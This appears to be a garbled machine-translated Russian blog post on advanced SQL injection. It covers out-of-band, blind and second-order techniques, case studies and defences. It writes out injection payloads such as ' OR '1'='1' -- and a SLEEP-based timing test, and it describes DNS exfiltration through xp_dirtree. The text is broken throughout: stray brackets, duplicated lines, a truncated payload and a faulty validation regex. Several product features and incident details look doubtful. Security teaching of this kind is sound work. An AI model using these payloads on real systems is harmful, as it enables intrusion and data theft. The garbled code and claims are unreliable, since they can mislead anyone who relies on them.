Автор: Trix Cyrus
]
Waymap Pentesting Tool: нажмите здесь
]
TrixSec GitHub: нажмите здесь
Trixsec Telegram: нажмите здесь
]
]
Advanced SQL-инъекции Exploits-Часть 7: передовые методы и профилактика ]
]
Добро пожаловать в часть 7 нашей серии SQL -инъекций! Этот взнос углубляется в расширенные методы инъекции SQL , используемые злоумышленниками, и предоставляет действенные стратегии для их противодействия. По мере развития угроз понимание этих сложных методов имеет решающее значение для того, чтобы оставаться впереди.
]
]
]
1. Усовершенствованные методы впрыска SQL
]
]
1.1. Внеполосная инъекция SQL ]
]
инъекция внеполосной (OOB) используется, когда злоумышленник не может напрямую наблюдать за результатами их полезной нагрузки. Вместо этого они полагаются на DNS или HTTP -запросы на эксфильтрат данных.
]
]
- ]
, как это работает :
Полезная нагрузка запускает запрос, который отправляет данные на сервер, управляемый злоумышленником. Например:
]
]
SELECT * FROM users WHERE>
The above payload exploits SQL Server's xp_dirtree to make an outbound DNS request.
1.2. Boolean-Based Blind SQL Injection
This method determines true or false conditions based on subtle changes in the application's behavior.
' AND 1=1 -- True condition
' AND 1=2 -- False condition
]
различия в ответе указывают, является ли инъецированное условие истинным или ложным.
]
]
-
usage :
]
]
-
mititiation :
]
используйте параметризованные запросы или ORM Frameworks.
- ]
развернуть брандмауэры веб -приложения (WAFS) с наборами правил для обнаружения слепых инъекций SQL.
- ]
]
]
]
]
]
1.3. Основанный на времени слепой инъекции SQL ]
]
Этот метод использует задержки для вывода данных. Злоумышленник отмечает, сколько времени сервер требует, чтобы ответить.
]
]
выберите, если (1 = 1, Sleep (5), 0); - Задержка ответа на 5 секунд
SELECT IF(1=1, SLEEP(5), 0); -- Delays response by 5 seconds
]
]
]
1.4. SQL-инъекция второго порядка ]
]
в этом методе злонамеренные полезные нагрузки хранятся в базе данных и запускаются во время последующего действия, таких как обзор администратора.
]
]
]
]
2. Реальные тематические исследования ]
]
]
тематическое исследование 1: уязвимость Magento (CVE-2019-8144) ]
]
инцидент : ]
]
злоумышленники использовали уязвимость инъекции SQL на основе времени на платформе электронной коммерции Magento.
- ]
они обошли аутентификацию и получили доступ к конфиденциальным данным клиента.
- ]
]
уроки смягчения : ]
]
регулярно исправлять программное обеспечение для устранения известных уязвимостей.
- ]
выполните тестирование безопасности на сторонних плагинах и расширениях.
- ]
]
]
тематическое исследование 2: Shopify (2020 Bug Bounty) ]
]
инцидент : ]
]
исследователь безопасности определил уязвимость в инъекции OOB SQL в API Shopify, который может утечь конфиденциальные данные через DNS.
- ]
это было поймано до эксплуатации, благодаря программе Shopify's Bug Bounty.
- ]
]
уроки смягчения : ]
]
инвестировать в программы Bug Bounty, чтобы поощрять этическую отчетность по уязвимости.
- ]
Используйте шлюзы API для обеспечения строгого проверки запросов.
- ]
]
]
]
3. Усовершенствованные защитные стратегии ]
]
]
3.1. Динамический анализ запросов ]
]
Используйте инструменты, которые контролируют запросы базы данных для необычных шаблонов или чрезмерной сложности.
]
]
]
- Инструменты:
]
SQLMAP: чтобы проверить ваши системы.
- ]
Aqua Security или Imperva: для защиты времени выполнения.
- ]
]
]
]
]
3.2. Контекстная проверка ]
]
применение правил проверки на основе контекста:
]
]
]
- login pages : подтвердить учетные данные, чтобы разрешить только буквенно -цифровые значения.
]
]
- Forms : дезинфицировать входы, чтобы исключить операторы SQL, такие как Select или Union.
]
]
]
3.3. Конфигурации, специфичные для базы данных ]
]
]
включить функции, такие как - режим обнаружения инъекции SQL в MySQL.
]
Используйте фильтры SECCOMP в PostGRESQL, чтобы ограничить опасные операции.
- ]
]
]
3.4. Непрерывное тестирование на проникновение ]
]
]
смоделировать атаки, чтобы идентифицировать уязвимости, прежде чем злоумышленники.
- ]
автоматизируйте с помощью конвейеров CI/CD, используя такие инструменты, как OWASP ZAP или Burp Suite.
- ]
]
]
]
4. Практическая задача: моделирование и защита эксплуатации ]
]
]
сценарий ]
сайт электронной коммерции позволяет пользователям искать продукты, используя поле ввода. Проверьте и закрепите его.
]
steps
: ]
]
введите полезную нагрузку, чтобы обнаружить уязвимость инъекции SQL:
]
- ]
'или' 1 '=' 1 ' -
]
' OR '1'='1' --
, если сайт уязвим, используйте автоматизированные инструменты, такие как SQLMAP для моделирования извлечения данных.
]
- ]
защитное исправление
:
]
реализовать подготовленные утверждения:
]
- ]
$ stmt = $ pdo-> Prepare ("select * из продуктов, где name =: name");
$ stmt-> execute (['name' => $ product_name]);
]
' OR '1'='1' --
проверить ввод, используя строгий шаблон:
]
- ]
импорт re
pattern = r "^[a-za-z0-9] $"
Если не re.match (pattern, user_input):
поднять valueError («Неверный вход!»)
]
import re
pattern = r"^[a-zA-Z0-9 ] $"
if not re.match(pattern, user_input):
raise ValueError("Invalid input!")
]
5. Тенденции в атаках инъекций SQL
]
]
]
5.1. Облачные эксплойты
]
]
облачные базы данных все чаще нацелены из-за неправильных конфигураций.
]
]
5.2. Уязвимости API
]
]
с подъемом микросервисов плохо разработанные API являются точкой входа для злоумышленников.
]
]
5.3. AI-управляемые атаки
]
]
Автоматизированные инструменты используют AI для создания комплексных полезных нагрузок.
]
]
]
final Monds
]
]
Эта продвинутая сессия подчеркивает развивающуюся природу инъекции SQL и важность упреждающей защиты. Понимая передовые методы и внедряя надежные меры безопасности, вы можете значительно снизить риск эксплуатации.
]
~ trixsec
]
]